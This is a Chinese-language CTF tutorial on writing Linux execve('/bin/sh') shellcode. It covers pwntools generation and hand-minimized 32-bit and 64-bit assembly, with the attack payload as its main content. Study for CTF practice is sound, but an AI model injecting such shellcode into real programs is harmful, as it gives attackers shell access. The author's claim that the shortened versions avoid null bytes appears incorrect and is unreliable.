linux环境下shellcode的编写:32位和64位

linux环境下shellcode的编写

  • shellcode的理解
  • 使用pwntools工具编写
  • 自己实现更精炼的
    • 32位shellcode
    • 64位shellcode

shellcode的理解

??我们在做pwn的时候经常需要使用shellcode来获取到flag,那么shellcode如何理解,简单一句话就是:获取到shell的code就是shellcode。
??在漏洞利用过程时,我们将精心编制好的shellcode通过有问题的程序写入到内存中,然后执行。该shellcode对应的c语言代码一般为:

1
system("/bin/sh");

??也就是说我们将上述的c语言代码翻译成汇编语言,然后进一步翻译成pcode(汇编语言对应的十六进制表示),最后按照正确的大小端顺序存放到内存中。通过一定手段让shellcode执行,然后我们就会得到linux下的交互终端。至于如何注入shellcode,如何让其执行,以及在复杂的题目条件下对shellcode进行拆分、组装以及重新编码(去掉特殊字符)等,此处不讲解,可以参考我其它的博文,重在积累。

使用pwntools工具编写

??对于一般pwn的shellcode题目求解,我们可以直接利用python的库pwntools来自动生成shellcode。按照下面的步骤进行即可:

1
2
3
# 安装pwntools

pip install pwntools
1
2
3
4
5
6
7
8
9
10
11
12
# python3
from pwn import *

# 配置上下文
# context(os="linux", arch="i386")  32位系统
context(os="linux", arch="amd64")   64位系统

# 生成shellcode
code = shellcraft.sh()
print(code)           # 汇编语言
print(asm(code))      # pcode,十六进制形式
print(len(asm(code))) # 查看汇编后的字节长度

自己实现更精炼的

??对于一些读取输入大小有限制的题目,我们需要自己编写更短小的shellcode,下面我将分别介绍32位和64位的shellcode编写原理以及自己实现的更精炼的shellcode代码。这里展示的是汇编代码,在漏洞利用时需要转换为字节码,各位打工人也可以自己试试将下面的汇编代码重新打乱,删减,编写更短小的shellcode。

32位shellcode

??我们编写的shellcode是实现c语言代码的system("/bin/sh")函数调用,该函数会调用底层的sys_execve(),通过中断操作以及系统调用来获取shell。具体的底层细节我们也不用过多深入,毕竟说白了system()也是个函数,我只需要知道其需要几个参数,是压栈还是存入寄存器就行了。
??python官方的实现版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push b'/bin///sh\x00' */
    push 0x68
    push 0x732f2f2f
    push 0x6e69622f
    mov ebx, esp
    /* push argument array ['sh\x00'] */
    /* push 'sh\x00\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x1016972
    xor ecx, ecx
    push ecx /* null terminate */
    push 4
    pop ecx
    add ecx, esp
    push ecx /* 'sh\x00' */
    mov ecx, esp
    xor edx, edx
    /* call execve() */
    push SYS_execve /* 0xb */
    pop eax
    int 0x80

??以上代码python官方都给了注释,整个汇编代码实现的是execve(path='/bin///sh', argv=['sh'], envp=0)这个函数调用,但官方的太长了,我们可以精简一下。其实现原理和重现编写后的代码总结如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#########################################################################
## 一般函数调用参数是压入栈中,这里系统调用使用寄存器
## 需要对如下几个寄存器进行设置,可以比对官方的实现

  ebx = /bin/sh     ## 第一个参数
  ecx = 0             ## 第二个参数
  edx = 0             ## 第三个参数
  eax = 0xb           ## 0xb为系统调用号,即sys_execve()系统函数对应的序号
  int 0x80            ## 执行系统中断
#########################################################################

## 更精炼的汇编代码
##
## 这里说明一下,很多博客都会用"/bin//sh"或者官方的"/bin///sh"
## 作为第一个参数,即添加/线来填充空白字符。这里我将"/bin/sh"
## 放在最前面,就不存在汇编代码中间存在空字符截断的问题;另外
## "/bin/sh"是7个字符,32位中需要两行指令,末尾未填充的空字符
## 刚好作为字符串结尾标志符,也就不需要额外压一个空字符入栈。

    push 0x68732f        # 0x68732f --> hs/     little endian
    push 0x6e69622f      # 0x6e69622f --> nib/  little endian
    mov ebx, esp
    xor edx, edx
    xor ecx, ecx
    mov al, 0xb          # al为eax的低8位
    int 0x80
    ## 汇编之后字节长度为20字节

64位shellcode

??这里的思路和前面32位的一样,此处不再赘述,直接给出。
??python官方的实现版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push b'/bin///sh\x00' */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
    mov rdi, rsp
    /* push argument array ['sh\x00'] */
    /* push b'sh\x00' */
    push 0x1010101 ^ 0x6873
    xor dword ptr [rsp], 0x1010101
    xor esi, esi /* 0 */
    push rsi /* null terminate */
    push 8
    pop rsi
    add rsi, rsp
    push rsi /* 'sh\x00' */
    mov rsi, rsp
    xor edx, edx /* 0 */
    /* call execve() */
    push SYS_execve /* 0x3b */
    pop rax
    syscall

??实现原理加代码精炼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
######################################################################
## 64位linux下,默认前6个参数都存入寄存器,所以这里没的说也使用寄存器
## 寄存器存储参数顺序,参数从左到右:rdi, rsi, rdx, rcx, r8, r9

    rdi = /bin/sh        ## 第一个参数
    rsi = 0              ## 第二个参数
    rdx = 0              ## 第三个参数
    rax = 0x3b           ## 64位下的系统调用号
    syscall              ## 64位使用 syscall
#####################################################################

## 精炼版本
##
## 这里说明一下,很多博客都会用"/bin//sh"或者官方的"/bin///sh"
## 作为第一个参数,即添加/线来填充空白字符。这里我将"/bin/sh"
## 放在最前面,就不存在汇编代码中间存在空字符截断的问题;另外
## "/bin/sh"是7个字符,64位中需要一行指令,末尾未填充的空字符
## 刚好作为字符串结尾标志符,也就不需要额外压一个空字符入栈。

    mov rbx, 0x68732f6e69622f  # 0x68732f6e69622f --> hs/nib/  little endian
    push rbx
    push rsp
    pop rdi
    xor esi, esi               # rsi低32位
    xor edx, edx               # rdx低32位
    push 0x3b
    pop rax
    syscall
    ## 汇编之后字节长度为22字节